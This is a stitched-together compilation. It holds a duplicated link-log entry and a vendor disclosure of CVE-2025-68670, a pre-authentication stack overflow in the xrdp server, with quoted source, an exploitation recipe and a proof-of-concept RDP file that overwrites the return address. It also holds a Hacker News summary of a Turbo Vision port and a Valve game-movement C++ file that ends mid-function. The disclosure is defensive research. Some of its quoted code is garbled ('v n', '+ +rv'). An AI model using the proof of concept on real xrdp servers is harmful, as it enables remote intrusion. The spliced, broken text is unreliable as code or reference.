from my link log —
Yak shaving #ifdef-style conditional compilation in Rust.
https://bitshifter.github.io/2020/05/07/conditional-compilation-in-rust/
saved 2020-05-15 https://dotat.at/:/Y7K6Z.html
from my link log —
Yak shaving #ifdef-style conditional compilation in Rust.
https://bitshifter.github.io/2020/05/07/conditional-compilation-in-rust/
saved 2020-05-15 https://dotat.at/:/Y7K6Z.html
CVE-2025-68670: discovering an RCE vulnerability in xrdp
In addition to KasperskyOS-powered solutions, Kaspersky offers various utility software to streamline business operations. For instance, users of Kaspersky Thin Client, an operating system for thin clients, can also purchase Kaspersky USB Redirector, a module that expands the capabilities of the xrdp remote desktop server for Linux. This module enables access to local USB devices, such as flash drives, tokens, smart cards, and printers, within a remote desktop session – all while maintaining connection security.
We take the security of our products seriously and regularly conduct security assessments. Kaspersky USB Redirector is no exception. Last year, during a security audit of this tool, we discovered a remote code execution vulnerability in the xrdp server, which was assigned the identifier CVE-2025-68670. We reported our findings to the project maintainers, who responded quickly: they fixed the vulnerability in version 0.10.5, backported the patch to versions 0.9.27 and 0.10.4.1, and issued a security bulletin. This post breaks down the details of CVE-2025-68670 and provides recommendations for staying protected.
Client data transmission via RDP
Establishing an RDP connection is a complex, multi-stage process where the client and server exchange various settings. In the context of the vulnerability we discovered, we are specifically interested in the Secure Settings Exchange, which occurs immediately before client authentication. At this stage, the client sends protected credentials to the server within a Client Info PDU (protocol data unit with client info): username, password, auto-reconnect cookies, and so on. These data points are bundled into a TS_INFO_PACKET structure and can be represented as Unicode strings up to 512 bytes long, the last of which must be a null terminator. In the xrdp code, this corresponds to the xrdp_client_info structure, which looks as follows:
{
[..SNIP..]
char username[INFO_CLIENT_MAX_CB_LEN];
char password[INFO_CLIENT_MAX_CB_LEN];
char domain[INFO_CLIENT_MAX_CB_LEN];
char program[INFO_CLIENT_MAX_CB_LEN];
char directory[INFO_CLIENT_MAX_CB_LEN];
[..SNIP..]
}
The value of the INFO_CLIENT_MAX_CB_LEN constant corresponds to the maximum string length and is defined as follows:
#define INFO_CLIENT_MAX_CB_LEN 512
When transmitting Unicode data, the client uses the UTF-16 encoding. However, the server converts the data to UTF-8 before saving it.
if (ts_info_utf16_in( //
[1] s, len_domain, self->rdp_layer->client_info.domain, sizeof(self->rdp_layer->client_info.domain)) != 0) //
[2]{
[..SNIP..]
}
The size of the buffer for unpacking the domain name in UTF-8 [2] is passed to the ts_info_utf16_in function [1], which implements buffer overflow protection [3].
static int ts_info_utf16_in(struct stream *s, int src_bytes, char *dst, int dst_len)
{
int rv = 0;
LOG_DEVEL(LOG_LEVEL_TRACE, "ts_info_utf16_in: uni_len %d, dst_len %d", src_bytes, dst_len);
if (!s_check_rem_and_log(s, src_bytes + 2, "ts_info_utf16_in"))
{
rv = 1;
}
else
{
int term;
int num_chars = in_utf16_le_fixed_as_utf8(s, src_bytes / 2,
dst, dst_len);
if (num_chars > dst_len) //
[3] {
LOG(LOG_LEVEL_ERROR, "ts_info_utf16_in: output buffer overflow"); rv = 1;
}
/ / String should be null-terminated. We haven't read the terminator yet
in_uint16_le(s, term);
if (term != 0)
{
LOG(LOG_LEVEL_ERROR, "ts_info_utf16_in: bad terminator. Expected 0, got %d", term);
rv = 1;
}
}
return rv;
}
Next, the in_utf16_le_fixed_as_utf8_proc function, where the actual data conversion from UTF-16 to UTF-8 takes place, checks the number of bytes written [4] as well as whether the string is null-terminated [5].
{
unsigned int rv = 0;
char32_t c32;
char u8str[MAXLEN_UTF8_CHAR];
unsigned int u8len;
char *saved_s_end = s->end;
// Expansion of S_CHECK_REM(s, n*2) using passed-in file and line #ifdef USE_DEVEL_STREAMCHECK
parser_stream_overflow_check(s, n * 2, 0, file, line); #endif
// Temporarily set the stream end pointer to allow us to use
// s_check_rem() when reading in UTF-16 words
if (s->end - s->p > (int)(n * 2))
{
s->end = s->p + (int)(n * 2);
}
while (s_check_rem(s, 2))
{
c32 = get_c32_from_stream(s);
u8len = utf_char32_to_utf8(c32, u8str);
if (u8len + 1 <= vn) //
[4] {
/* Room for this character and a terminator. Add the character */
unsigned int i;
for (i = 0 ; i < u8len ; ++i)
{
v[i] = u8str[i];
}
v n -= u8len;
v += u8len;
}
else if (vn > 1)
{
/* We've skipped a character, but there's more than one byte
* remaining in the output buffer. Mark the output buffer as
* full so we don't get a smaller character being squeezed into
* the remaining space */
vn = 1;
}
r v += u8len;
}
// Restore stream to full length s->end = saved_s_end;
if (vn > 0)
{
*v = '\0'; //
[5] }
+ +rv;
return rv;
}
Consequently, up to 512 bytes of input data in UTF-16 are converted into UTF-8 data, which can also reach a size of up to 512 bytes.
CVE-2025-68670: an RCE vulnerability in xrdp
The vulnerability exists within the xrdp_wm_parse_domain_information function, which processes the domain name saved on the server in UTF-8. Like the functions described above, this one is called before client authentication, meaning exploitation does not require valid credentials. The call stack below illustrates this.
x rdp_wm_parse_domain_information(char *originalDomainInfo, int comboMax,
int decode, char *resultBuffer)
xrdp_login_wnd_create(struct xrdp_wm *self)
xrdp_wm_init(struct xrdp_wm *self)
xrdp_wm_login_state_changed(struct xrdp_wm *self)
xrdp_wm_check_wait_objs(struct xrdp_wm *self)
xrdp_process_main_loop(struct xrdp_process *self)
The code snippet where the vulnerable function is called looks like this:
char resultIP[256]; //
[7][..SNIP..]
combo->item_index = xrdp_wm_parse_domain_information(
self->session->client_info->domain, //
[6] combo->data_list->count, 1,
resultIP /* just a dummy place holder, we ignore
*/ );
As you can see, the first argument of the function in line [6] is the domain name up to 512 bytes long. The final argument is the resultIP buffer of 256 bytes (as seen in line [7]). Now, let’s look at exactly what the vulnerable function does with these arguments.
static int
xrdp_wm_parse_domain_information(char *originalDomainInfo, int comboMax,
int decode, char *resultBuffer)
{
int ret;
int pos;
int comboxindex;
char index[2];
/* If the first char in the domain name is '_' we use the domain name as IP*/
ret = 0; /* default return value */
/* resultBuffer assumed to be 256 chars */
g_memset(resultBuffer, 0, 256);
if (originalDomainInfo[0] == '_') //
[8] {
/* we try to locate a number indicating what combobox index the user
* prefer the information is loaded from domain field, from the client
* We must use valid chars in the domain name.
* Underscore is a valid name in the domain.
* Invalid chars are ignored in microsoft client therefore we use '_'
* again. this sec '__' contains the split for index.*/
pos = g_pos(&originalDomainInfo[1], "__"); //
[9] if (pos > 0)
{
/* an index is found we try to use it */
LOG(LOG_LEVEL_DEBUG, "domain contains index char __");
if (decode)
{
[..SNIP..]
}
/ * pos limit the String to only contain the IP */
g_strncpy(resultBuffer, &originalDomainInfo[1], pos); //
[10] }
else
{
LOG(LOG_LEVEL_DEBUG, "domain does not contain _");
g_strncpy(resultBuffer, &originalDomainInfo[1], 255);
}
}
return ret;
}
As seen in the code, if the first character of the domain name is an underscore (line [8]), a portion of the domain name – starting from the second character and ending with the double underscore (“__”) – is written into the resultIP buffer (line [9]). Since the domain name can be up to 512 bytes long, it may not fit into the buffer even if it’s technically well-formed (line [10]). Consequently, the overflow data will be written to the thread stack, potentially modifying the return address. If an attacker crafts a domain name that overflows the stack buffer and replaces the return address with a value they control, execution flow will shift according to the attacker’s intent upon returning from the vulnerable function, allowing for arbitrary code execution within the context of the compromised process (in this case, the xrdp server).
To exploit this vulnerability, the attacker simply needs to specify a domain name that, after being converted to UTF-8, contains more than 256 bytes between the initial “_” and the subsequent “__”. Given that the conversion follows specific rules easily found online, this is a straightforward task: one can simply take advantage of the fact that the length of the same string can vary between UTF-16 and UTF-8. In short, this involves avoiding ASCII and certain other characters that may take up more space in UTF-16 than in UTF-8, while also being careful not to abuse characters that expand significantly after conversion. If the resulting UTF-8 domain name exceeds the 512-byte limit, a conversion error will occur.
PoC
As a PoC for the discovered vulnerability, we created the following RDP file containing the RDP server’s IP address and a long domain name designed to trigger a buffer overflow. In the domain name, we used a specific number of K (U+041A) characters to overwrite the return address with the string “AAAAAAAA”. The contents of the RDP file are shown below:
alternate full address:s:172.22.118.7
full address:s:172.22.118.7
domain:s:_veryveryveryverKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKeryveryveryveryveryveryveryveryveryveryveryveryveryveryveryveryveryveryveryveaaaaaaaaryveryveryveryveryveryveryveryveryveryveryveryverylongdoAAAAAAAA__0
username:s:testuser
When you open this file, the mstsc.exe process connects to the specified server. The server processes the data in the file and attempts to write the domain name into the buffer, which results in a buffer overflow and the overwriting of the return address. If you look at the xrdp memory dump at the time of the crash, you can see that both the buffer and the return address have been overwritten. The application terminates during the stack canary check. The example below was captured using the gdb debugger.
gef➤ bt
#0 __pthread_kill_implementation (no_tid=0x0, signo=0x6, threadid=0x7adb2dc71740) at ./nptl/pthread_kill.c:44
#1 __pthread_kill_internal (signo=0x6, threadid=0x7adb2dc71740) at ./nptl/pthread_kill.c:78
#2 __GI___pthread_kill (threadid=0x7adb2dc71740, signo=signo@entry=0x6) at./nptl/pthread_kill.c:89
#3 0x00007adb2da42476 in __GI_raise (sig=sig@entry=0x6) at ../sysdeps/posix/raise.c:26
#4 0x00007adb2da287f3 in __GI_abort () at ./stdlib/abort.c:79
#5 0x00007adb2da89677 in __libc_message (action=action@entry=do_abort, fmt=fmt@entry=0x7adb2dbdb92e "*** %s ***: terminated\n") at ../sysdeps/posix/libc_fatal.c:156
#6 0x00007adb2db3660a in __GI___fortify_fail (msg=msg@entry=0x7adb2dbdb916 "stack smashing detected") at ./debug/fortify_fail.c:26
#7 0x00007adb2db365d6 in __stack_chk_fail () at ./debug/stack_chk_fail.c:24
#8 0x000063654a2e5ad5 in ?? ()
#9 0x4141414141414141 in ?? ()
#10 0x00007adb00000a00 in ?? ()
#11 0x0000000000050004 in ?? ()
#12 0x00007fff91732220 in ?? ()
#13 0x000000000000030a in ?? ()
#14 0xfffffffffffffff8 in ?? ()
#15 0x000000052dc71740 in ?? ()
#16 0x3030305f70647278 in ?? ()
#17 0x616d5f6130333030 in ?? ()
#18 0x00636e79735f6e69 in ?? ()
#19 0x0000000000000000 in ?? ()
Protection against vulnerability exploitation
It is worth noting that the vulnerable function can be protected by a stack canary via compiler settings. In most compilers, this option is enabled by default, which prevents an attacker from simply overwriting the return address and executing a ROP chain. To successfully exploit the vulnerability, the attacker would first need to obtain the canary value.
The vulnerable function is also referenced by the xrdp_wm_show_edits function; however, even in that case, if the code is compiled with secure settings (using stack canaries), the most trivial exploitation scenario remains unfeasible.
Nevertheless, a stack canary is not a panacea. An attacker could potentially leak or guess its value, allowing them to overwrite the buffer and the return address while leaving the canary itself unchanged. In the security bulletin dedicated to CVE-2025-68670, the xrdp maintainers advise against relying solely on stack canaries when using the project.
Vulnerability remediation timeline
Conclusion
Taking a responsible approach to code makes not only our own products more solid but also enhances popular open-source projects. We have previously shared how security assessments of KasperskyOS-based solutions – such as Kaspersky Thin Client and Kaspersky IoT Secure Gateway – led to the discovery of several vulnerabilities in Suricata and FreeRDP, which project maintainers quickly patched. CVE-2025-68670 is yet another one of those stories.
However, discovering a vulnerability is only half the battle. We would like to thank the xrdp maintainers for their rapid response to our report, for fixing the vulnerability, and for issuing a security bulletin detailing the issue and risk mitigation options.
Turbo Vision 2.0 – a modern port
----
- 42 minutes ago | 9 points | 0 comments
- URL: https://github.com/magiblot/tvision
- Discussions: https://news.ycombinator.com/item?id=47898597
- Summary: Turbo Vision is a modern, open-source port of Borland's Turbo Vision 2.0 framework for building text-based user interfaces. Originally developed as a personal project starting in 2018, it aims to maintain source-level compatibility with the classic Borland C++ API while adding modern capabilities.
The library is now fully cross-platform, supporting Linux, Windows (via MSVC and MinGW), and even legacy DOS/Borland C++ environments. Key enhancements include full UTF-8 Unicode support, 24-bit color capability, and improved mouse handling (wheel, middle button, triple-click). It provides a CMake-based build system and is available through vcpkg.
Turbo Vision eliminates the need for platform-specific `#ifdef` directives by abstracting terminal I/O, handling Unicode conversion automatically, and providing consistent behavior across operating systems. New features include the `TStringView` and `TSpan` classes, timer support (`setTimer`/`killTimer`), clipboard integration via `TClipboard`, and enhanced editor capabilities.
The project preserves the original widget set—including overlapping windows, menus, dialog boxes, and buttons—while extending them with modern text encoding and color support. It can be integrated as a CMake submodule or installed as a system library, making it suitable for both legacy application ports and new terminal-based tools.

A modern port of Turbo Vision 2.0, the classical framework for text-based user interfaces. Now cross-platform and with Unicode support. - magiblot/tvision
//========= Copyright Valve Corporation, All rights reserved. ============//
//
// Purpose:
//
// $NoKeywords: $
//=============================================================================//
#include "cbase.h"
#include "gamemovement.h"
#include "in_buttons.h"
#include <stdarg.h>
#include "movevars_shared.h"
#include "engine/IEngineTrace.h"
#include "SoundEmitterSystem/isoundemittersystembase.h"
#include "decals.h"
#include "coordsize.h"
#include "rumble_shared.h"
#ifdef CLIENT_DLL
#include "prediction.h"
#endif
#if defined(HL2_DLL) || defined(HL2_CLIENT_DLL)
#include "hl_movedata.h"
#endif
// memdbgon must be the last include file in a .cpp file!!!
#include "tier0/memdbgon.h"
#define STOP_EPSILON 0.1
#define MAX_CLIP_PLANES 5
#include "filesystem.h"
#include <stdarg.h>
extern IFileSystem *filesystem;
#ifndef CLIENT_DLL
#include "env_player_surface_trigger.h"
static ConVar dispcoll_drawplane( "dispcoll_drawplane", "0" );
#endif
// tickcount currently isn't set during prediction, although gpGlobals->curtime and
// gpGlobals->frametime are. We should probably set tickcount (to player->m_nTickBase),
// but we're REALLY close to shipping, so we can change that later and people can use
// player->CurrentCommandNumber() in the meantime.
#define tickcount USE_PLAYER_CURRENT_COMMAND_NUMBER__INSTEAD_OF_TICKCOUNT
#if defined( HL2_DLL )
ConVar xc_uncrouch_on_jump( "xc_uncrouch_on_jump", "1", FCVAR_ARCHIVE, "Uncrouch when jump occurs" );
#endif
#if defined( HL2_DLL ) || defined( HL2_CLIENT_DLL )
ConVar player_limit_jump_speed( "player_limit_jump_speed", "1", FCVAR_REPLICATED );
#endif
// option_duck_method is a carrier convar. Its sole purpose is to serve an easy-to-flip
// convar which is ONLY set by the X360 controller menu to tell us which way to bind the
// duck controls. Its value is meaningless anytime we don't have the options window open.
ConVar option_duck_method("option_duck_method", "1", FCVAR_REPLICATED|FCVAR_ARCHIVE );// 0 = HOLD to duck, 1 = Duck is a toggle
// [MD] I'll remove this eventually. For now, I want the ability to A/B the optimizations.
bool g_bMovementOptimizations = true;
// Roughly how often we want to update the info about the ground surface we're on.
// We don't need to do this very often.
#define CATEGORIZE_GROUND_SURFACE_INTERVAL 0.3f
#define CATEGORIZE_GROUND_SURFACE_TICK_INTERVAL ( (int)( CATEGORIZE_GROUND_SURFACE_INTERVAL / TICK_INTERVAL ) )
#define CHECK_STUCK_INTERVAL 1.0f
#define CHECK_STUCK_TICK_INTERVAL ( (int)( CHECK_STUCK_INTERVAL / TICK_INTERVAL ) )
#define CHECK_STUCK_INTERVAL_SP 0.2f
#define CHECK_STUCK_TICK_INTERVAL_SP ( (int)( CHECK_STUCK_INTERVAL_SP / TICK_INTERVAL ) )
#define CHECK_LADDER_INTERVAL 0.2f
#define CHECK_LADDER_TICK_INTERVAL ( (int)( CHECK_LADDER_INTERVAL / TICK_INTERVAL ) )
#define NUM_CROUCH_HINTS 3
extern IGameMovement *g_pGameMovement;
#if defined( PLAYER_GETTING_STUCK_TESTING )
// If you ever get stuck walking around, then you can run this code to find the code which would leave the player in a bad spot
void CMoveData::SetAbsOrigin( const Vector &vec )
{
CGameMovement *gm = dynamic_cast< CGameMovement * >( g_pGameMovement );
if ( gm && gm->GetMoveData() &&
gm->player &&
gm->player->entindex() == 1 &&
gm->player->GetMoveType() == MOVETYPE_WALK )
{
trace_t pm;
gm->TracePlayerBBox( vec, vec, gm->PlayerSolidMask(), COLLISION_GROUP_PLAYER_MOVEMENT, pm );
if ( pm.startsolid || pm.allsolid || pm.fraction != 1.0f )
{
Msg( "Player will become stuck at %f %f %f\n", VectorExpand( vec ) );
}
}
m_vecAbsOrigin = vec;
}
#endif
// See shareddefs.h
#if PREDICTION_ERROR_CHECK_LEVEL > 0
static ConVar diffcheck( "diffcheck", "0", FCVAR_REPLICATED );
class IDiffMgr
{
public:
virtual void StartCommand( bool bServer, int nCommandNumber ) = 0;
virtual void AddToDiff( bool bServer, int nCommandNumber, char const *string ) = 0;
virtual void Validate( bool bServer, int nCommandNumber ) = 0;
};
static IDiffMgr *g_pDiffMgr = NULL;
class CDiffStr
{
public:
CDiffStr()
{
m_str[ 0 ] = 0;
}
CDiffStr( char const *str )
{
Q_strncpy( m_str, str, sizeof( m_str ) );
}
CDiffStr( const CDiffStr &src )
{
Q_strncpy( m_str, src.m_str, sizeof( m_str ) );
}
char const *String()
{
return m_str;
}
private:
char m_str[ 128 ];
};
// Per tick data
class CDiffInfo
{
public:
CDiffInfo() : m_nCommandNumber( 0 ) {}
CDiffInfo( const CDiffInfo& src )
{
m_nCommandNumber = src.m_nCommandNumber;
for ( int i = 0; i < src.m_Lines.Count(); ++i )
{
m_Lines.AddToTail( src.m_Lines[ i ] );
}
}
static bool Less( const CDiffInfo& lhs, const CDiffInfo& rhs )
{
return lhs.m_nCommandNumber < rhs.m_nCommandNumber;
}
int m_nCommandNumber;
CUtlVector< CDiffStr > m_Lines;
bool m_bChecked;
};
class CDiffManager : public IDiffMgr
{
public:
CDiffManager() :
m_Client( 0, 0, CDiffInfo::Less ),
m_Server( 0, 0, CDiffInfo::Less ),
m_flLastSpew( -1.0f )
{
g_pDiffMgr = this;
}
virtual void StartCommand( bool bServer, int nCommandNumber )
{
#if defined( CLIENT_DLL )
if ( !diffcheck.GetInt() )
return;
g_pDiffMgr = reinterpret_cast< IDiffMgr * >( diffcheck.GetInt() );
g_pDiffMgr->StartCommand( bServer, nCommandNumber );
return;
#endif
// Msg( "%s Startcommand %d\n", bServer ? "sv" : "cl", nCommandNumber );
diffcheck.SetValue( reinterpret_cast< int >( this ) );
Assert( CBaseEntity::IsServer() );
CUtlRBTree< CDiffInfo, int >& rb = bServer ? m_Server : m_Client;
CDiffInfo search;
search.m_nCommandNumber = nCommandNumber;
int idx = rb.Find( search );
if ( idx == rb.InvalidIndex() )
{
idx = rb.Insert( search );
}
CDiffInfo *slot = &rb[ idx ];
slot->m_Lines.RemoveAll();
}
virtual void AddToDiff( bool bServer, int nCommandNumber, char const *string )
{
#if defined( CLIENT_DLL )
if ( !diffcheck.GetInt() )
return;
g_pDiffMgr = reinterpret_cast< IDiffMgr * >( diffcheck.GetInt() );
g_pDiffMgr->AddToDiff( bServer, nCommandNumber, string );
return;
#endif
Assert( CBaseEntity::IsServer() );
// Msg( "%s Add %d %s\n", bServer ? "sv" : "cl", nCommandNumber, string );
CUtlRBTree< CDiffInfo, int >& rb = bServer ? m_Server : m_Client;
CDiffInfo search;
search.m_nCommandNumber = nCommandNumber;
int idx = rb.Find( search );
if ( idx == rb.InvalidIndex() )
{
Assert( 0 );
idx = rb.Insert( search );
}
CDiffInfo *slot = &rb[ idx ];
CDiffStr line( string );
slot->m_Lines.AddToTail( line );
}
enum EMismatched
{
DIFFCHECK_NOTREADY = 0,
DIFFCHECK_MATCHED,
DIFFCHECK_DIFFERS
};
bool ClientRecordExists( int cmd )
{
CDiffInfo clsearch;
clsearch.m_nCommandNumber = cmd;
int clidx = m_Client.Find( clsearch );
return m_Client.IsValidIndex( clidx );
}
EMismatched IsMismatched( int svidx )
{
CDiffInfo *serverslot = &m_Server[ svidx ];
// Now find the client version of this one
CDiffInfo clsearch;
clsearch.m_nCommandNumber = serverslot->m_nCommandNumber;
int clidx = m_Client.Find( clsearch );
if ( clidx == m_Client.InvalidIndex() )
return DIFFCHECK_NOTREADY;
// Now compare them
CDiffInfo *clientslot = &m_Client[ clidx ];
bool bSpew = false;
if ( serverslot->m_Lines.Count() !=
clientslot->m_Lines.Count() )
{
return DIFFCHECK_DIFFERS;
}
int maxSlot = MAX( serverslot->m_Lines.Count(), clientslot->m_Lines.Count() );
if ( !bSpew )
{
for ( int i = 0; i < maxSlot; ++i )
{
CDiffStr *sv = NULL;
CDiffStr *cl = NULL;
if ( i < serverslot->m_Lines.Count() )
{
sv = &serverslot->m_Lines[ i ];
}
if ( i < clientslot->m_Lines.Count() )
{
cl = &clientslot->m_Lines[ i ];
}
if ( Q_stricmp( sv ? sv->String() : "(missing)", cl ? cl->String() : "(missing)" ) )
{
return DIFFCHECK_DIFFERS;
}
}
}
return DIFFCHECK_MATCHED;
}
virtual void Validate( bool bServer, int nCommandNumber )
{
#if defined( CLIENT_DLL )
if ( !diffcheck.GetInt() )
return;
g_pDiffMgr = reinterpret_cast< IDiffMgr * >( diffcheck.GetInt() );
g_pDiffMgr->Validate( bServer, nCommandNumber );
return;
#endif
Assert( CBaseEntity::IsServer() );
// Only do this on the client
if ( !bServer )
return;
// Find the last server command number
if ( m_Server.Count() <= 0 )
return;
int svidx = m_Server.LastInorder();
EMismatched eMisMatched = IsMismatched( svidx );
if ( eMisMatched == DIFFCHECK_NOTREADY )
{
return;
}
if ( eMisMatched == DIFFCHECK_DIFFERS )
{
CUtlVector< int > vecPrev;
int nCur = svidx;
do
{
int prev = m_Server.PrevInorder( nCur );
if ( m_Server.IsValidIndex( prev ) &&
ClientRecordExists( m_Server[ prev ].m_nCommandNumber ) )
{
//SpewRecords( "prev", prev );
vecPrev.AddToHead( prev );
}
else
{
break;
}
nCur = prev;
} while ( vecPrev.Count() < 10 );
Msg( "-----\n" );
for ( int p = 0; p < vecPrev.Count(); ++p )
{
SpewRecords( "prev", vecPrev[ p ] );
}
SpewRecords( "bad ", svidx );
}
}
void SpewRecords( char const *prefix, int svidx )
{
CDiffInfo *serverslot = &m_Server[ svidx ];
// Now find the client version of this one
CDiffInfo clsearch;
clsearch.m_nCommandNumber = serverslot->m_nCommandNumber;
int clidx = m_Client.Find( clsearch );
if ( clidx == m_Client.InvalidIndex() )
return;
// Now compare them
CDiffInfo *clientslot = &m_Client[ clidx ];
int maxSlot = MAX( serverslot->m_Lines.Count(), clientslot->m_Lines.Count() );
for ( int i = 0; i < maxSlot; ++i )
{
char const *sv = "(missing)";
char const *cl = "(missing)";
if ( i < serverslot->m_Lines.Count() )
{
sv = serverslot->m_Lines[ i ].String();
}
if ( i < clientslot->m_Lines.Count() )
{
cl = clientslot->m_Lines[ i ].String();
}
bool bDiffers = Q_stricmp( sv, cl ) ? true : false;
Msg( "%s%s%d: sv[%50.50s] cl[%50.50s]\n",
prefix,
bDiffers ? "+++" : " ",
serverslot->m_nCommandNumber,
sv,
cl );
}
}
private:
CUtlRBTree< CDiffInfo, int > m_Server;
CUtlRBTree< CDiffInfo, int > m_Client;
float m_flLastSpew;
};
static CDiffManager g_DiffMgr;
void DiffPrint( bool bServer, int nCommandNumber, char const *fmt, ... )
{
// Only track stuff for local player
CBasePlayer *pPlayer = CBaseEntity::GetPredictionPlayer();
if ( pPlayer && pPlayer->entindex() != 1 )
{
return;
}
va_list argptr;
char string[1024];
va_start (argptr,fmt);
int len = Q_vsnprintf(string, sizeof( string ), fmt,argptr);
va_end (argptr);
if ( g_pDiffMgr )
{
// Strip any \n at the end that the user accidently put int
if ( len > 0 && string[ len -1 ] == '\n' )
{
string[ len - 1 ] = 0;
}
g_pDiffMgr->AddToDiff( bServer, nCommandNumber, string );
}
}
void _CheckV( int tick, char const *ctx, const Vector &vel )
{
DiffPrint( CBaseEntity::IsServer(), tick, "%20.20s %f %f %f", ctx, vel.x, vel.y, vel.z );
}
#define CheckV( tick, ctx, vel ) _CheckV( tick, ctx, vel );
static void StartCommand( bool bServer, int nCommandNumber )
{
// Only track stuff for local player
CBasePlayer *pPlayer = CBaseEntity::GetPredictionPlayer();
if ( pPlayer && pPlayer->entindex() != 1 )
{
return;
}
if ( g_pDiffMgr )
{
g_pDiffMgr->StartCommand( bServer, nCommandNumber );
}
}
static void Validate( bool bServer, int nCommandNumber )
{
// Only track stuff for local player
CBasePlayer *pPlayer = CBaseEntity::GetPredictionPlayer();
if ( pPlayer && pPlayer->entindex() != 1 )
{
return;
}
if ( g_pDiffMgr )
{
g_pDiffMgr->Validate( bServer, nCommandNumber );
}
}
void CGameMovement::DiffPrint( char const *fmt, ... )
{
if ( !player )
return;
va_list argptr;
char string[1024];
va_start (argptr,fmt);
Q_vsnprintf(string, sizeof( string ), fmt,argptr);
va_end (argptr);
::DiffPrint( CBaseEntity::IsServer(), player->CurrentCommandNumber(), "%s", string );
}
#else
static void DiffPrint( bool bServer, int nCommandNumber, char const *fmt, ... )
{
// Nothing
}
static void StartCommand( bool bServer, int nCommandNumber )
{
}
static void Validate( bool bServer, int nCommandNumber )
{
}
#define CheckV( tick, ctx, vel )
void CGameMovement::DiffPrint( char const *fmt, ... )
{
}
#endif // !PREDICTION_ERROR_CHECK_LEVEL
#ifndef _XBOX
void COM_Log( const char *pszFile, const char *fmt, ...)
{
va_list argptr;
char string[1024];
FileHandle_t fp;
const char *pfilename;
if ( !pszFile )
{
pfilename = "hllog.txt";
}
else
{
pfilename = pszFile;
}
va_start (argptr,fmt);
Q_vsnprintf(string, sizeof( string ), fmt,argptr);
va_end (argptr);
fp = filesystem->Open( pfilename, "a+t");
if (fp)
{
filesystem->FPrintf(fp, "%s", string);
filesystem->Close(fp);
}
}
#endif
#ifndef CLIENT_DLL
//-----------------------------------------------------------------------------
// Purpose: Debug - draw the displacement collision plane.
//-----------------------------------------------------------------------------
void DrawDispCollPlane( CBaseTrace *pTrace )
{
float flLength = 30.0f;
// Create a basis, based on the impact normal.
int nMajorAxis = 0;
Vector vecBasisU, vecBasisV, vecNormal;
vecNormal = pTrace->plane.normal;
float flAxisValue = vecNormal[0];
if ( fabs( vecNormal[1] ) > fabs( flAxisValue ) ) { nMajorAxis = 1; flAxisValue = vecNormal[1]; }
if ( fabs( vecNormal[2] ) > fabs( flAxisValue ) ) { nMajorAxis = 2; }
if ( ( nMajorAxis == 1 ) || ( nMajorAxis == 2 ) )
{
vecBasisU.Init( 1.0f, 0.0f, 0.0f );
}
else
{
vecBasisU.Init( 0.0f, 1.0f, 0.0f );
}
vecBasisV = vecNormal.Cross( vecBasisU );
VectorNormalize( vecBasisV );
vecBasisU = vecBasisV.Cross( vecNormal );
VectorNormalize( vecBasisU );
// Create the impact point. Push off the surface a bit.
Vector vecImpactPoint = pTrace->startpos + pTrace->fraction * ( pTrace->endpos - pTrace->startpos );
vecImpactPoint += vecNormal;
// Generate a quad to represent the plane.
Vector vecPlanePoints[4];
vecPlanePoints[0] = vecImpactPoint + ( vecBasisU * -flLength ) + ( vecBasisV * -flLength );
vecPlanePoints[1] = vecImpactPoint + ( vecBasisU * -flLength ) + ( vecBasisV * flLength );
vecPlanePoints[2] = vecImpactPoint + ( vecBasisU * flLength ) + ( vecBasisV * flLength );
vecPlanePoints[3] = vecImpactPoint + ( vecBasisU * flLength ) + ( vecBasisV * -flLength );
#if 0
// Test facing.
Vector vecEdges[2];
vecEdges[0] = vecPlanePoints[1] - vecPlanePoints[0];
vecEdges[1] = vecPlanePoints[2] - vecPlanePoints[0];
Vector vecCross = vecEdges[0].Cross( vecEdges[1] );
if ( vecCross.Dot( vecNormal ) < 0.0f )
{
// Reverse winding.
}
#endif
// Draw the plane.
NDebugOverlay::Triangle( vecPlanePoints[0], vecPlanePoints[1], vecPlanePoints[2], 125, 125, 125, 125, false, 5.0f );
NDebugOverlay::Triangle( vecPlanePoints[0], vecPlanePoints[2], vecPlanePoints[3], 125, 125, 125, 125, false, 5.0f );
NDebugOverlay::Line( vecPlanePoints[0], vecPlanePoints[1], 255, 255, 255, false, 5.0f );
NDebugOverlay::Line( vecPlanePoints[1], vecPlanePoints[2], 255, 255, 255, false, 5.0f );
NDebugOverlay::Line( vecPlanePoints[2], vecPlanePoints[3], 255, 255, 255, false, 5.0f );
NDebugOverlay::Line( vecPlanePoints[3], vecPlanePoints[0], 255, 255, 255, false, 5.0f );
// Draw the normal.
NDebugOverlay::Line( vecImpactPoint, vecImpactPoint + ( vecNormal * flLength ), 255, 0, 0, false, 5.0f );
}
#endif
//-----------------------------------------------------------------------------
// Purpose: Constructs GameMovement interface
//-----------------------------------------------------------------------------
CGameMovement::CGameMovement( void )
{
m_nOldWaterLevel = WL_NotInWater;
m_flWaterEntryTime = 0;
m_nOnLadder = 0;
mv = NULL;
memset( m_flStuckCheckTime, 0, sizeof(m_flStuckCheckTime) );
}
//-----------------------------------------------------------------------------
// Purpose: Destructor
//-----------------------------------------------------------------------------
CGameMovement::~CGameMovement( void )
{
}
//-----------------------------------------------------------------------------
// Purpose: Allow bots etc to use slightly different solid masks
//-----------------------------------------------------------------------------
unsigned int CGameMovement::PlayerSolidMask( bool brushOnly )
{
return ( brushOnly ) ? MASK_PLAYERSOLID_BRUSHONLY : MASK_PLAYERSOLID;
}
//-----------------------------------------------------------------------------
// Purpose:
// Input : type -
// Output : int
//-----------------------------------------------------------------------------
int CGameMovement::GetCheckInterval( IntervalType_t type )
{
int tickInterval = 1;
switch ( type )
{
default:
tickInterval = 1;
break;
case GROUND:
tickInterval = CATEGORIZE_GROUND_SURFACE_TICK_INTERVAL;
break;
case STUCK:
// If we are in the process of being "stuck", then try a new position every command tick until m_StuckLast gets reset back down to zero
if ( player->m_StuckLast != 0 )
{
tickInterval = 1;
}
else
{
if ( gpGlobals->maxClients == 1 )
{
tickInterval = CHECK_STUCK_TICK_INTERVAL_SP;
}
else
{
tickInterval = CHECK_STUCK_TICK_INTERVAL;
}
}
break;
case LADDER:
tickInterval = CHECK_LADDER_TICK_INTERVAL;
break;
}
return tickInterval;
}
//-----------------------------------------------------------------------------
// Purpose:
// Input : type -
// Output : Returns true on success, false on failure.
//-----------------------------------------------------------------------------
bool CGameMovement::CheckInterval( IntervalType_t type )
{
int tickInterval = GetCheckInterval( type );
if ( g_bMovementOptimizations )
{
